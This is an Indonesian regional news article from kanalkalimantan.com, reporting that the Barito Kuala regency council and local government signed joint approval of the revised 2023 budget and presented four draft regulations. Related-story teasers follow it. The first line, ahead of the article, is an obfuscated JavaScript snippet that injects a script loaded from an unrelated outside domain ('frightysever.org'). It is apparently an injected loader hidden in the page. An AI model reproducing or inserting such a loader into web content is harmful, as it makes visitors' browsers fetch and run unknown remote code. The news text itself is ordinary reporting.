(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM,MARABAHAN – Dewan Perwakilan Rakyat Daerah Kabupaten Barito Kuala (DPRD Batola) bersama Pemerintah Kabupaten (Pemkab) Batola, Kalimantan Selatan, menggelar rapat paripurna untuk menandatangani Berita Acara Persetujuan Bersama terkait Rancangan Perubahan APBD Kabupaten Batola tahun anggaran 2023, serta penyampaian 4 Rancangan Peraturan Daerah (Raperda).
Penjabat Bupati Batola, Mujiyat, menyatakan bahwa penandatanganan persetujuan bersama atas rancangan peraturan daerah tentang perubahan APBD 2023 menunjukkan kesepakatan antara DPRD dan Pemkab Batola.
Hal ini menggambarkan tanggung jawab bersama dalam mencapai keberhasilan pembangunan pada tahun 2023.
“Dengan disetujuinya rancangan peraturan daerah, pemkab Batola dan DPRD telah sepakat untuk melangkah bersama,” ujar Mujiyat dalam keterangan pers yang disampaikan pada Jumat.
Mujiyat juga menekankan pentingnya peningkatan dan penyelesaian seluruh rencana kerja pemerintah daerah untuk tahun anggaran 2023, terutama yang harus diselesaikan hingga akhir tahun.
Perwakilan Badan Anggaran APBD Batola, Basrin, menjelaskan beberapa poin hasil pembahasan antara badan anggaran dan tim anggota Pemerintah Kabupaten Batola.
Salah satunya adalah penggunaan anggaran untuk pembelian pick-up guna mendukung operasional tanggap darurat bencana.
“Pengurangan, penambahan, atau pergeseran anggaran ternyata tidak mengganggu kinerja SKPD, dan hal tersebut dapat digunakan untuk prioritas kepentingan SKPD,” kata Basrin.
Rapat paripurna dipimpin oleh Ketua DPRD Batola, Saleh, didampingi oleh Wakil Ketua M Agung Purnomo dan Arfah. Hadir pula Sekretaris Daerah, Forum Koordinasi Pimpinan Daerah, para staf ahli, asisten, pimpinan SKPD, para camat, lurah, dan seluruh anggota tim anggaran pemerintah daerah.
Pimpinan DPRD Barito Kuala dan Penjabat Bupati Batola melakukan penandatanganan Berita Acara Persetujuan, yang nantinya akan disampaikan kepada Gubernur Kalimantan Selatan sebagai langkah selanjutnya dalam proses ini.(www.kanalkalimantan.com/kk)
Reporter : kk
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.